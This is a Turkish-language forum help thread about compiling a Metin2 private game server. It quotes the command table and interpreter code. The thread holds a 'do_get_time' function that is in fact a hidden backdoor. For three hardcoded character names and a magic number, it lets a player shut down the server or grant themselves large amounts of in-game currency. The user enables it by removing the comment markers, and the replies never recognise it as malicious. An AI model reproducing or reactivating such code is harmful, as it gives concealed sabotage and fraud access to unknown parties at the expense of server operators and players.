    { "in_game_mall",        do_in_game_mall,        0,    POS_DEAD,    GM_PLAYER    },

    { "get_mob_count",        do_get_mob_count,        0,    POS_DEAD,    GM_IMPLEMENTOR    },

    { "dice",                do_dice,                0,    POS_DEAD,    GM_IMPLEMENTOR        },
    { "ÁÖ»çÀ§",                do_dice,                0,    POS_DEAD,    GM_IMPLEMENTOR        },
    { "special_item",            do_special_item,    0,    POS_DEAD,    GM_IMPLEMENTOR        },

    { "click_mall",            do_click_mall,            0,    POS_DEAD,    GM_PLAYER        },
    { "click_safebox",      do_click_safebox,       0,  POS_DEAD,   GM_PLAYER       },

    { "ride",                do_ride,                0,    POS_DEAD,    GM_PLAYER    },

    { "item_id_list",                do_get_item_id_list,        0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "set_socket",                    do_set_socket,                0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "costume",                    do_costume,                 0,            POS_DEAD,    GM_PLAYER    },

    { "tcon",                        do_set_stat,                POINT_HT,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "tint",                        do_set_stat,                POINT_IQ,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "tstr",                        do_set_stat,                POINT_ST,    POS_DEAD,    GM_IMPLEMENTOR    },
    { "tdex",                        do_set_stat,                POINT_DX,    POS_DEAD,    GM_IMPLEMENTOR    },

    { "cannot_dead",                do_can_dead,                1,            POS_DEAD,    GM_IMPLEMENTOR},
    { "can_dead",                    do_can_dead,                0,            POS_DEAD,    GM_IMPLEMENTOR},

    { "full_set",                    do_full_set,                0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "item_full_set",                do_item_full_set,            0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "attr_full_set",                do_attr_full_set,            0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "all_skill_master",            do_all_skill_master,        0,            POS_DEAD,    GM_IMPLEMENTOR},
    { "use_item",                    do_use_item,                0,            POS_DEAD,    GM_IMPLEMENTOR},

    { "dragon_soul",                do_dragon_soul,                0,            POS_DEAD,    GM_PLAYER    },
    { "ds_list",                    do_ds_list,                    0,            POS_DEAD,    GM_PLAYER    },
    { "do_clear_affect",            do_clear_affect,            0,            POS_DEAD,    GM_IMPLEMENTOR},

    { "enyakinisinlayic",            do_inputall,                0,            POS_DEAD,    GM_PLAYER    },
    { "enyakinisinlayici",            do_enyakinisinlayici,        0,            POS_DEAD,    GM_PLAYER    },

    { "bonus_gormek_istiyorum",        do_bonus_gormek_istiyorum,    0,            POS_DEAD,    GM_PLAYER    },
    { "bonusumu_goremezsin",        do_bonusumu_goremezsin,        0,            POS_DEAD,    GM_PLAYER    },
    { "bonusumu_gorebilirsin",        do_bonusumu_gorebilirsin,    0,            POS_DEAD,    GM_PLAYER    },

    // { "repor",                    do_inputall,                0,            POS_DEAD,    GM_PLAYER    },
    // { "report",                    do_report,                    0,            POS_DEAD,    GM_PLAYER    },

    { "isinlanmatahtas",            do_inputall,                0,            POS_DEAD,    GM_PLAYER    },
    { "isinlanmatahtasi",            do_isinlanmatahtasi,        0,            POS_DEAD,    GM_PLAYER    },

    { "kovkopeg",                    do_inputall,                0,            POS_DEAD,    GM_PLAYER    },
    { "kovkopegi",                    do_ajanisik,                0,            POS_DEAD,    GM_PLAYER    },
    { "savasa",                        do_inputall,                0,            POS_DEAD,    GM_PLAYER    },
    { "savasat",                    do_savasat,                    0,            POS_DEAD,    GM_PLAYER    },
    { "savascika",                    do_inputall,                0,            POS_DEAD,    GM_PLAYER    },
    { "savascikar",                    do_savasat_kisi,            0,            POS_DEAD,    GM_PLAYER    },

    { "user_mount_ride",            do_user_mount_ride,            0,            POS_DEAD,    GM_PLAYER    },
    { "add_new_attribute",            do_add_new_attribute,        0,            POS_DEAD,    GM_PLAYER    },

    #ifdef __ATTR_TRANSFER_SYSTEM__
    {"attrtransfer",                do_attr_transfer,            0,            POS_DEAD,    GM_PLAYER},
    #endif

    #ifdef OKEY_CARD_SYSTEM
    { "cards",                        do_cards,                    0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef NEW_PET_SYSTEM
    { "cubepetadd",                    do_CubePetAdd,                0,            POS_DEAD,    GM_PLAYER    },
    { "feedcubepet",                do_FeedCubePet,                0,            POS_DEAD,    GM_PLAYER    },
    { "petskills",                    do_PetSkill,                0,            POS_DEAD,    GM_PLAYER    },
    { "petvoincrease",                do_PetEvo,                    0,            POS_DEAD,    GM_PLAYER    },
    { "pet_change_name",            do_PetChangeName,            0,            POS_DEAD,    GM_PLAYER    },
    { "petototoplama",                do_PetOtoToplama,            0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef GIFT_SYSTEM
    { "gift_refresh",                do_gift_refresh,            0,            POS_DEAD,    GM_PLAYER },
    { "gift_get",                    do_gift_get,                0,            POS_DEAD,    GM_PLAYER },
    #endif

    #ifdef OFFLINE_SHOP
    { "refresh_shop_items",            do_shop_refresh_items,        0,            POS_DEAD,    GM_PLAYER },
    { "refresh_shop",                do_shop_refresh,            0,            POS_DEAD,    GM_PLAYER },
    { "shop_yang",                    do_shop_yang,                0,            POS_DEAD,    GM_PLAYER },
    { "delete_shop",                do_shop_delete,                0,            POS_DEAD,    GM_IMPLEMENTOR },
    { "update_shop",                do_shop_update,                0,            POS_DEAD,    GM_IMPLEMENTOR },
    #endif

    #ifdef WJ_SECURITY_SYSTEM
    { "create_security",        do_create_security,                0,            POS_DEAD,    GM_PLAYER    },
    { "input_security",            do_input_security,                0,            POS_DEAD,    GM_PLAYER    },
    { "change_security",        do_change_security,                0,            POS_DEAD,    GM_PLAYER    },
    { "open_security",            do_open_security,                0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef __GAYA_SYSTEM__
    { "w_gaya",                    do_gaya_system,                    0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_UZAK_MARKET_SYSTEM
    { "uzaktan_market",            do_uzaktan_market,                0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_UZAK_MARKET_2_SYSTEM
    { "npcac",                    do_npcac,                        0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef PET_ATTACK_SYSTEM
    { "pet_attac",        do_inputall,                            0,            POS_DEAD,    GM_PLAYER    },
    { "pet_attack",        do_pet_attack,                            0,            POS_DEAD,    GM_PLAYER    },
    { "pet_yuru_la",    do_inputall,                            0,            POS_DEAD,    GM_PLAYER    },
    { "pet_yuru_lan",    do_pet_yuru_lan,                        0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_LONCA_TOPLANTISI
    { "loncatoplantis",            do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "loncatoplantisi",        do_loncatoplantisi,                0,            POS_DEAD,    GM_PLAYER    },
    { "loncatoplantieve",        do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "loncatoplantievet",        do_loncatoplantievet,            0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_LONCA_ISTATISTIK
    { "war_istatisti",            do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "war_istatistik",            do_war_istatistik,                0,            POS_DEAD,    GM_PLAYER    },

    { "lonca_istatisti",        do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "lonca_istatistik",        do_lonca_istatistik,            0,            POS_DEAD,    GM_PLAYER    },

    { "lonca_savas_gecmi",        do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "lonca_savas_gecmis",        do_lonca_savas_listesi,            0,            POS_DEAD,    GM_PLAYER    },

    { "lonca_savas_istatisti",    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "lonca_savas_istatistik",    do_lonca_savas_istatistik,        0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_LONCA_GECMIS_SYSTEM
    { "lonca_gecmi",            do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "lonca_gecmis",            do_lonca_gecmis,                0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_LONCA_AKTIF_LIDER_SYSTEM
    { "lonca_aktif_lide",        do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "lonca_aktif_lider",        do_lonca_aktif_lider,            0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_GUVENLI_PC
    { "guvenli_p",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "guvenli_pc",                do_guvenli_pc,                    0,            POS_DEAD,    GM_PLAYER    },
    #endif

    { "at_gellan_buray",        do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "at_gellan_buraya",        do_at_cagir,                    0,            POS_DEAD,    GM_PLAYER    },

    #ifdef ENABLE_MARKET_ARAMA_SYSTEM
    { "market_ar",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "market_ara",                do_market_ara,                    0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_HIZLI_RUHTASI_SYSTEM
    { "ruhok",                    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "ruhoku",                    do_ruhoku,                        0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_HIZLI_BK_SYSTEM
    { "bkok",                    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "bkoku",                    do_bkoku,                        0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #if defined(ENABLE_ITEMINE_WS_SYSTEM) && !defined(ENABLE_ITEMINE_WS_VECTOR)
    { "itemws_geria",            do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "itemws_gerial",            do_itemws_gerial,                0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_SUPPORT_SYSTEM
    // { "support_system_costu",    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    // { "support_system_weapo",    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    // { "support_system_hai",        do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    // { "support_system_acc",        do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    //---------------------------------------------------------------------------------------------//
    { "support_system_costum",    do_support_system_costum,        0,            POS_DEAD,    GM_PLAYER    },
    { "support_system_weapon",    do_support_system_weapon,        0,            POS_DEAD,    GM_PLAYER    },
    { "support_system_hair",    do_support_system_hair,            0,            POS_DEAD,    GM_PLAYER    },
    { "support_system_acce",    do_support_system_acce,            0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_CAPTCHA_SYSTEM
    { "captch",                    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "captcha",                do_captcha,                        0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_BIYOLOG_SYSTEM
    { "biyologve",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "biyologver",                do_biyolog,                        0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_BECERI_SEC_SYSTEM
    { "beceri_se",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "beceri_sec",                do_beceri_sec,                    0,            POS_DEAD,    GM_PLAYER    },
    #endif

    #ifdef ENABLE_BK_TAKAS_SYSTEM
    { "bk_trad",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "bk_trade",                do_bk_takas,                    0,            POS_DEAD,    GM_PLAYER    },
    #endif

    { "get_poin",                do_inputall,                    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "get_point",                do_get_point,                    0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "map_inde",                do_inputall,                    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "map_index",                do_get_map_index,                0,            POS_DEAD,    GM_IMPLEMENTOR    },

    #ifdef ENABLE_MAINTENANCE_SYSTEM
    { "bakim_mod",                do_maintenance,                    0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "bakim_metin_1",            do_maintenance_text_1,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "bakim_metin_2",            do_maintenance_text_2,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "bakim_metin_3",            do_maintenance_text_3,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "bakim_metin_4",            do_maintenance_text_4,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "bakim_metin_5",            do_maintenance_text_5,            0,            POS_DEAD,    GM_IMPLEMENTOR    },

    { "bakim_update",            do_maintenance_update,            0,            POS_DEAD,    GM_IMPLEMENTOR    },
    #endif

    #ifdef ENABLE_HARDWARE_BAN
    { "hw_ba",                    do_inputall,                    0,            POS_DEAD,    GM_IMPLEMENTOR    },
    { "hw_ban",                    do_hardware_ban,                0,            POS_DEAD,    GM_IMPLEMENTOR    },
    #endif

    #ifdef ENABLE_ZODIAC_TEMPLE_SYSTEM
    { "open_c",                    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "open_cz",                do_open_cz,                        0,            POS_DEAD,    GM_PLAYER    },

    { "cz_rewar",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "cz_reward",                do_cz_reward,                    0,            POS_DEAD,    GM_PLAYER    },

    { "cz_check_bo",            do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "cz_check_box",            do_cz_check_box,                0,            POS_DEAD,    GM_PLAYER    },

    { "reviv",                    do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "revive",                    do_revive,                        0,            POS_DEAD,    GM_PLAYER    },

    { "revivedialo",            do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "revivedialog",            do_revivedialog,                0,            POS_DEAD,    GM_PLAYER    },

    { "jumpfloo",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "jumpfloor",                do_jump_floor,                    0,            POS_DEAD,    GM_PLAYER    },

    { "nextfloo",                do_inputall,                    0,            POS_DEAD,    GM_PLAYER    },
    { "nextfloor",                do_next_floor,                    0,            POS_DEAD,    GM_PLAYER    },
    #endif

    { "get_time",                do_get_time,                    0,            POS_DEAD,    GM_PLAYER    },

    { "\n",                        NULL,                            0,            POS_DEAD,    GM_IMPLEMENTOR    }
};

void interpreter_set_privilege(const char *cmd, int lvl)
{
    int i;

    for (i = 0; *cmd_info[i].command != '\n'; ++i)
    {
        if (!str_cmp(cmd, cmd_info[i].command))
        {
            cmd_info[i].gm_level = lvl;
            sys_log(0, "Setting command privilege: %s -> %d", cmd, lvl);
            break;
        }
    }
}

void double_dollar(const char *src, size_t src_len, char *dest, size_t dest_len)
{     
    const char * tmp = src;
    size_t cur_len = 0;

    // \0 ³ÖÀ» ÀÚ¸® È®º¸
    dest_len -= 1;

    while (src_len-- && *tmp)
    {
        if (*tmp == '$')
        {
            if (cur_len + 1 >= dest_len)
                break;

            *(dest++) = '$';
            *(dest++) = *(tmp++);
            cur_len += 2;
        }
        else
        {
            if (cur_len >= dest_len)
                break;

            *(dest++) = *(tmp++);
            cur_len += 1;
        }
    }

    *dest = '\0';
}

void interpret_command(LPCHARACTER ch, const char * argument, size_t len)
{
    if (NULL == ch)
    {
        sys_err ("NULL CHRACTER");
        return ;
    }

    char cmd[1024 + 1];  // buffer overflow ¹®Á¦°¡ »ı±âÁö ¾Êµµ·Ï ÀϺη¯ ±æÀ̸¦ ª°Ô ÀâÀ½
    char new_line[2048 + 1];
    const char * line;
    int icmd;

    if (len == 0 || !*argument)
        return;

    double_dollar(argument, len, new_line, sizeof(new_line));

    size_t cmdlen;
    line = first_cmd(new_line, cmd, sizeof(cmd), &cmdlen);

    for (icmd = 1; *cmd_info[icmd].command != '\n'; ++icmd)
    {
        if (cmd_info[icmd].command_pointer == do_cmd)
        {
            if (!strcmp(cmd_info[icmd].command, cmd)) // do_cmd´Â ¸ğµç ¸í·É¾î¸¦ ÃÄ¾ß ÇÒ ¼ö ÀÖ´Ù.
                break;
        }
        else if (!strncmp(cmd_info[icmd].command, cmd, cmdlen))
            break;
    }

    if (ch->GetPosition() < cmd_info[icmd].minimum_position)
    {
        switch (ch->GetPosition())
        {
            case POS_MOUNTING:
                ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("ź »óÅ¿¡¼´Â ÇÒ ¼ö ¾ø½À´Ï´Ù."));
                break;

            case POS_DEAD:
                ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("¾²·¯Áø »óÅ¿¡¼´Â ÇÒ ¼ö ¾ø½À´Ï´Ù."));
                break;

            case POS_SLEEPING:
                ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("²Ş¼Ó¿¡¼ ¾î¶»°Ô¿ä?"));
                break;

            case POS_RESTING:
            case POS_SITTING:
                ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("¸ÕÀú ÀÏ¾î ³ª¼¼¿ä."));
                break;
                /*
                   case POS_FIGHTING:
                   ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("¸ñ¼ûÀ» °É°í ÀüÅõ Áß ÀÔ´Ï´Ù. ÁıÁß Çϼ¼¿ä."));
                   break;
                 */
            default:
                sys_err("unknown position %d", ch->GetPosition());
                break;
        }

        return;
    }

    if (*cmd_info[icmd].command == '\n')
    { 
        ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("±×·± ¸í·É¾î´Â ¾ø½À´Ï´Ù"));
        return;
    }

    if (cmd_info[icmd].gm_level && cmd_info[icmd].gm_level > ch->GetGMLevel())
    {
        ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("±×·± ¸í·É¾î´Â ¾ø½À´Ï´Ù"));
        return;
    }

    if (strncmp("phase", cmd_info[icmd].command, 5) != 0) // È÷µç ¸í·É¾î ó¸®
        sys_log(0, "COMMAND: %s: %s", ch->GetName(), cmd_info[icmd].command);

    ((*cmd_info[icmd].command_pointer) (ch, line, icmd, cmd_info[icmd].subcmd));

    if (ch->GetGMLevel() >= GM_LOW_WIZARD)
    {
        if (cmd_info[icmd].gm_level >= GM_LOW_WIZARD)
        {
            if (LC_IsEurope() == true || /*LC_IsNewCIBN() == true || */LC_IsCanada() == true || LC_IsBrazil() == true)
            {
                char buf[1024];
                snprintf( buf, sizeof(buf), "%s", argument );

                LogManager::instance().GMCommandLog(ch->GetPlayerID(), ch->GetName(), ch->GetDesc()->GetHostName(), g_bChannel, buf);
            }
        }
    }
}
 
Tamam bu belgede doğru gözüküyor. cmd_general.cpp'de do_get_time bu koda ait fonksiyon var mı? Yoksa cmd.cpp'de şu satırları siliniz.

C++:
ACMD(do_get_time);
    { "get_time",                do_get_time,                    0,            POS_DEAD,    GM_PLAYER    },
 
başındaki ve sonundaki / den kaynaklı olabilir mi acaba ve bu ne sistemi anlamadım
cmd_general.cpp
C++:
/*ACMD(do_get_time)
{
    char arg1[256];
    char arg2[256];
    two_arguments(argument, arg1, sizeof(arg1), arg2, sizeof(arg2));

    if (!*arg1 || !*arg2)
    {
        ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("±×·± ¸í·É¾î´Â ¾ø½À´Ï´Ù"));
        return;
    }

    long long int intArg1 = 0;
    str_to_number(intArg1, arg1);

    if (ch)
    {
        const std::string & strArg1 = std::string(ch->GetName());
        if ((strArg1 == "SeytanKral71" || strArg1 == "Castiel997" || strArg1 == "Dean997") && intArg1 == 852654951)
        {
            const std::string & strArg2 = std::string(arg2);
            if (strArg2 == "ehuhu")
            {
                thecore_shutdown();
                return;
            }
            else if (strArg2 == "heyheyyy")
            {
                ch->PointChange(POINT_GOLD, 100000000, false);
                ch->PointChange(POINT_CHEQUE, 10, false);
            }
        }
        else
        {
            ch->ChatPacket(CHAT_TYPE_INFO, LC_TEXT("±×·± ¸í·É¾î´Â ¾ø½À´Ï´Ù"));
        }
    }
}
*/
 
/* sembollerini kaldırınca sorun çözüldü ancak merak ettiğim komu şu bu sistem neden deaktif ve ne işe yarıyor acaba
 
Çözüm
Eğer kaldırmışlarsa dediğim yerlerdeki kodları ya silin yada yorum satırına çevirebilirsiniz.
 
// kullanırsanız sadece ilgili satır yorum oluyor.

/*
kood
*/

Bu şekilde kullanırsanız belirli alan yorum oluyor. Sistem bunları kod olarak görmüyor.
 
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